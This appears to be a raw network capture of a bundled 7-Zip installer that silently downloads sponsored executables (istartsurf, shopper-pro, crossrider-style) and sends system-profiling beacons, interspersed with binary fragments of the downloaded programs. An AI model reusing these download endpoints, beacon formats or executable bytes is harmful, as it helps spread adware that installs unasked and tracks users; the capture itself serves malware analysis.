X-Amz-Cf-Id: vBLr4-dJSCWcB6SZvB83ZImVs28ZmIfrvmLktuYcNker0RVRMY8b4A==
.9)8..s..g..H{P8....7..................O.o{.....v/.w.......J..2B.2..s.
d;...3...d...c.....;....N.\(.]..O......wrH....)P......5...j<.-.x^..
.o8..^..N...._...$......n.3...8..`&,....l..#.D.....j.......k.]._..K...
..P.* W<,...s;I...c-..b.d.....naRX...L..J....8../.N.s9._.W.Ls.F-..H
...0.........:bpu..i.B.$... ..K.\O.v......Cr.e.!..J......t.JU._..">
&....1....7..).a......d.Ne..D..cw.v......k...n.Y..(&.BW..V.".#.2.. ...
..O...kf..Dg.:...z.o.,B.<4.<.E......*/..u.2...... T.. ?.."...`..
......A.......q.Dp.%.R....c......d4..L..p[.}..E.....[c.L..`k9f.....&ZZ
VR...p.X.3;..I.......<.......S..V....R....[....|...G..{.l.>/....
.k....._..........xfSp.".N..Lr.|[..D.~ot$H....c.....|.U..q;...}...a.f@
g.....h.Q.M.A7.U..G.N.C]..y...C..'}... .....<O. ..C.O..'.4.Rf..^.".
.M."..N.."I..rD[x&i%........&M....c...1.Q..........q.....&..[....H....
i..D......8...%...5:.Y....{..zP..&.k..1. rr...:..Y:.<H..6Kx....2^..
.................D...d.01......FEu.9..x..1....l].%....O.Z........?}"Y&
lt;.M...SY..0/M.l..E..d..!j..0UxY...;>c}.... .x91.-.XS2.)....K..K8.
UD.......... .c.....n(.^....R...e..Ef)3t\..|[email protected]\.Tp.P.J.8.S..X.
.A.Rn....i.. P.w^......7'..JP......8Q;=.}x~.'...x.......g..k.J.!bE....
..U X..z}(.~.....p...Q...y...(........Ox.%.|Q..h.Y...-...g..w.!.;..5..
..T.T.?..-......%^..r.<...?..n2 .K.q.TD....r...............1..(..`.
9.C..E&..725.\.......CR.5.....j1.t.(.z.'............r....q3..2AN.;bn..
.2Y.Vj.....>..J=iH........(.c.....{......*|s|[email protected]..
.5.../.I.........&.)t.... .(eNp$t.L%...(UZG.J"... Nk.L5(,yC.-{.m..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1286329

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:20:06 GMT

X-Cache: Miss from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _sAYxXRZdBZFahNSf2E1Z_MeCG8IaykgQyUsHQJZJiRRjw9avZseyw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /16945.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS  qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jHdnI4qyHE9iJOdggUH8lGT3FsALGJiApIj GXdVcREtCUHeR8YCF3dBxqFduAyLccdDmfpxraNQFowOuez0DW2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /17416.ashx?e=60i6h5i9K tFwtfIvB/2UnoWj6SXffCIjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNgo83IIsWyOE JroixS  qna4RKWS/uGjvs2PX1eVpaIgCkX7sOU3vFHmS0Zrngqa/u6z7Uinv/jhK7uAPHPA/SIWGJQvu9673IlxQB6eB5S9R7UpgWEByNCUHeR8YCF3B0MgIN2G2GkE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEuibbx1H4KblNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUt0Nlf9GvHrHU= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=694049-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 416427

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 694049-1110475/1110476
...^...y..R.?...tN.ts...&..'^....]I...K.uQ......A#......t.3.....).2..8
'...Q .k.1.f....8P........U^.%.i..Jz...R]A.......X..>oqIi...v.\..!.
.pk.r....B.......)b..>..KR..3zO.f......D..M9.&...>O....W3.(..!.7
%*[email protected](o.-..$.31..V......p.6............. r..5.jf4.yrF.O....
w....}8..............L......'(..'..../ .-[9..#.........n`Z..A...<..
I.8)'.QnB.`M..^V.gVt0&.EI..8.?sM.|.p....K.......J.......q..c.'.7\(!7..
d.;4y....F......g.v.._.9....LC?..........f..>.........).-*....{%&..
B.8..0P.....!.D.,..l&...2.y.O.|R).......{4.!K..`k...2..c.3.....!.T....
....r..5`...............c./.66.JGvN../.).u.....d.q...5.V.%..q5>...r
.....\...\V:..%.B-.]....~.X.C..HQ.{[.....i".('...`.......@.,.m....zeG.
Fa(],.Kt .LdS..g.4.3v.tDu`.....gQ.np0........~...........J....\.....RZ
.3......\..?. .....h.......?.H].9.G.g......x..4j. ..Z..?....xa..I.....
..?...ai.4...2.g.f v......g.\..aeWIN...0.F .......u......e\.>...~..
.....<y.W2......^Io.y3...v.2.rO..X..A.*.z7.w......cOv...B.!>m..:
Jj...^G. .u..]..ykV.~...................6.....YL.._o ..<.:.w../.9Z.
U......A!..]GZA..9.8.jU..L..GW.=.....p...G....8..3..KC...oH..ZP....A2U
..<.b/*35K..D.....#........n.53H...c..&ei..=P.NUY..%^#y.h3.........
.....qfX..;F..JE.1d..._j..m...N_b.."5.k <H..>..s;.F.e.9%..4.!4..
S......V...I....R.Wv.?8w...HN...I....n...d#......0.....Z..@b..%.H..d..
D... vK)..UQ......`<..W......q...q...[.Q.j.o.f.s...,[,..k.5.F*M.X`F
.N..V.SO.;....,)MM.ZG.......4.............^..6J...?'p....ru....K^.vC
..E..,.....-\..k.... .S&3o..p.}.(..D_..<...V...R..@>.c..d><<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=335664-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 335664

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 335664-671327/671328
..M.u..C.PWj.Q..;.......M.....E...;..}..t)[email protected]....;..._
^[..].3.......E._^[..]....V......Q...............t.Q..h..G.Q.........7
...^......^.........V........Q............W..(......t.Sh..G.Q.b......_
.7...^..O..A..G...t......_^.h..G.......h..G.R............u..B.........
._^.......W3...b...t.Qh..G.P.........7..._.............QRP..G..j.j.j.j
.j.j.j.V..j....,3........_........U..3..}.....t..8...3........]...U...
..SW.}...8......T............E..M..E.....u..l..._[..]..{..t.S........_
[..].V.M..U.R.E.PSQ............uk.{8..M.t....t..U........M...tM.C8H...
.......$...E..........QW.S..........u ..8..........t.S............z...
..^_[..]......(.................V.....QW..............................
`.....Q............3....H....y....I.m-E.v-E..-E..-E..-E..-E..-E..-E..-
E..-E..-E.....V.0Wj.j.3.....H......(......G.t..._^............U.....SV
.u...W..(...3..}.....6...9.,.....*....M...t..................9.p......
...9.,.........9.D.........9_.u ............t.h..G.....H........h..G..
...H.............u._^.C.[..]...T....U.RWSPV.L.......E...t.S....H..E...
._^[..]..E.;.t....... ................l...S.. .....$.......H..........
............}....G...t.P....H.....G..........._^..[..]._^3.[..].U..V..
....$......(...t...............D....Q...,....t...D....t.V.............
....u.WV.w/.........U......^].......U...}..V.u.W......u .G,..t........
t........u........W......GTPV.|[email protected]@...._3.^]....
........U..V.u.W.}.VW..........u.9.t..._^]..0.._^]......U..QV.3Wj.....
.j.V.FP.FT..B..j.j.V..B..j.j.V..C..j.j.V..B...E.P.........4..u.9.t<<< skipped >>>

GET /app/ping.ashx?e=c0XmKevqA0lyNANDBIBbAqjOoZRs4Z 4 0R MP RL3VKgFoRkIu6RpNh8S9i4d0Hnb22gmYS8RsDllQ9J4QRpkb2k6Rn898YXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62ECVvD8H/vspbnlzTexKMK8SG7NLJhlXAptjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Bjt6DgsNnxOwUbmkSx2157mT/v0ajD3y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:39 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=043Mckb8Lnj5nRk39lR6RSGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOL iC/H71WQ Kfz/LBnabZ4tyMdnwSjqVyrGxS5fpqxv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gQQxJ9I93iAyu0ButGm56Bf/Uc/anY3mQOZi02 fPW7D38JdoZvbQDv3AqTFiqNP5w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:40 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=WL9usJOVMsPXmto/P2xI1iGZf5tV7NUiQN2G3STfV1oSZTerw9Y85XkjLFx9TDtKeHo6FOnjNt3Tp8VZQ/4p3GXCKyxfyg8N9A8dpvtBeO2hc3DbjNrW8PQYnQ1xoKSBiZYn8TH3Pe3MlW9RFqOniiR/VPwArHZ1QMCg3fniKLWzp3t4zCe899YNvMh53GZdNQrsYrsFnfQveIgyiaeHisUWbVgwixNWMVUtRMOhS7DYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW aNKDh4dmbgaJe7HkSXGWaDoPSg3RKv2VNZ2uNpJ5fHbdqeQ4cI sVrMZOEwh/nVZVdH83K8hgUttteLo8BXfHo= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: repjs.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:40 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 20
15 08:21:40 GMT..Content-Length: 0..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=3&index_in_screen=1&index_in_session=3&0.5481515553127376 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:53 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:53 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 19 Apr 2015 04:58:53 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2914

Content-Range: bytes 0-285557/285558

X-Cache: Hit from cloudfront

Via: 1.1 9d20a7bb63aef532ab86d12af354967a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: voEquu4ZZcQduprKiDt7f0Iym7vgNcnmv2wq2a90-gyDlkzaHThTyw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1429690905&procruntime=3&rnd=1429690908 HTTP/1.1

Host: stats.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: iGKsZ2D9rQiabbDF5BKyMKT9Q2wGh95QQOgTSRQhOXYQZZiSHEMUo7O8rgbQ0tM25tVuT1hXEFM=

x-amz-request-id: BC333FFB937034C3

Date: Wed, 22 Apr 2015 08:21:49 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: iGKsZ2
D9rQiabbDF5BKyMKT9Q2wGh95QQOgTSRQhOXYQZZiSHEMUo7O8rgbQ0tM25tVuT1hXEFM=
..x-amz-request-id: BC333FFB937034C3..Date: Wed, 22 Apr 2015 08:21:49 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1429690905&procruntime=16&rnd=1429690921 HTTP/1.1

Host: stats.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: 7r8y0t U/ KM/kc jPKBMulLyAZ2RSHVvZEFE MXHhFjObSNwOnG3gyLiq0BijvsSBwSgJsX0cc=

x-amz-request-id: 023E90C62C3BD620

Date: Wed, 22 Apr 2015 08:22:02 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-04-22&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A95FE5811DB848B88766ECAF84B0AC31PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNE16dHNtdHljMCw0NjA5ZjM1ZS1mZmY0LTQ3OTctODdiYS0wNThkYmI4ODIyY2EsIiwidW5xIjoiNDYwOWYzNWUtZmZmNC00Nzk3LTg3YmEtMDU4ZGJiODgyMmNhIn19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429690905&lifetime=0&silent=1&crtnm=na&procstarttime=1429690905&procruntime=16&rnd=1429690921 HTTP/1.1

Host: stats.localkeymappeer.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: Nnz7BOQHZiuOHo0UL3QB/uWlvRLgnhie3PNDfczJD2vwOl4wYkWD08a aMuGL9sxo/ONr6NUcC8=

x-amz-request-id: 1C6AD99B2B70629A

Date: Wed, 22 Apr 2015 08:22:03 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Nnz7BO
QHZiuOHo0UL3QB/uWlvRLgnhie3PNDfczJD2vwOl4wYkWD08a aMuGL9sxo/ONr6NUcC8=
..x-amz-request-id: 1C6AD99B2B70629A..Date: Wed, 22 Apr 2015 08:22:03 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:38 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=555c681c-bef1-485b-a8f4-c342b7ce2d91&Password=gDxC9Bha&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429690897&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=3o5rz3b4qtongh45yqxu5045; path=/; HttpOnly

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:38 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..Set-Cookie: ASP.NET_SessionId=3o5rz3b4qtongh45yqxu5045;
 path=/; HttpOnly..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 2015 08:21
:38 GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESU
LT>.....


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=6c547230-b3a9-4235-8048-b58573bb7041&Password=Jhbh8dCq&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1429690899&SBPIDS=1&KA=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.speedbit.com

Cache-Control: no-cache

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=3o5rz3b4qtongh45yqxu5045


HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 44

Content-Type: text/html; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:21:39 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..X-Powered-By: ASP.NET..Date: Wed, 22 Apr 2015 08:21:39 
GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT&g
t;...

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=150054-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 50018

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 150054-200071/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 59230305fa4e8eba32de075786d44476.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Y2pyYLHNhBhX93jbZqM-TFKX-t5gSiWwN1W2_Y6kxKxfWZPpmVBcIg==
..?.=....x.{V{W.`.......m.%eM...eym...O#...w....:...v....Y....|.v.....
O...H..S...[b.....V......u...bw(0n-...y9.@%....wFo......c)L....h...\..
..3~...O...l. ..*.........y..;..L.'=N[G.h......^..Z.&.Z.Y,..$G..&../.H
o..t.Jr....O...u..\9..-.........a.xH.:[email protected][.........po$$....7.....
|.......-(H...`......V&.K?.z.....R..E.T;.X..Mp=..z.S.>uU..|O.q.s:..
.u. z..4f....:........D.5t..]..L...S..[.t{.(./=x..!9}[email protected].
[email protected].. ....A.b....B...P.z.N.5&-...#v...A........n..j.R..}`..]..xBc.
.{...#o.Z(h.a.Y...e.x.f-........................I..|...4..r4w.^.F,....
.....#.J`.8..U......5..c[:....N...].~...y*..p.lA.hNM...&.(.x..t.......
[email protected].&.&....g.. vBJ...y..2G0.Uw(..".?G7m.R....t*.@ ..... .
,.zd.....J.U..$`b....y{.7..E... .MZ....GZ4...Qp.}..X.,:...[`w......k%.
6.]^.L..`D...M... ..'....A....\...........e.~.....*...sm......(.......
..:j..nB.3 `-.J7.F...4..<....xm5..$......T..Hn.*$...X`Q..T..f.....%
.*lV%M.o....g......RY...[|.D...v..Rm<9V..{....>_l..T..h......K.3
........T..k.'}..cq,y.}..1.K..U.c5...I}.n9.s...0.5.2?...P{.1......'.N-
......L...........O9.5YX..f.....{4..s..D_^...4..8...d!.4.4..l..N.eK...
.-.V"."...F........9/....f..(......cj.3.}..Q...=GY[..x.....?......$..1
....D....j`H:..TT.7.$P|g....JH...G..\..S..T......B.q...... .....n..J^@
.=j.....C..W..}K%..a...i~.~.......g.a|.~... l.K........p.Do5..uA .9...
..._.5.........t.R..8N.Q2..]L...W..c. ...T..:.B.?1.. 6..y.i<..n0...
..EM.]......S"{K.X.........B.,.$.6.........0.. .-.,.^#......(.~....]iW
%.s[.M(....~...T'.......e....I......:F.5.`..l...U....7v&......:R..<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 06:32:35 GMT

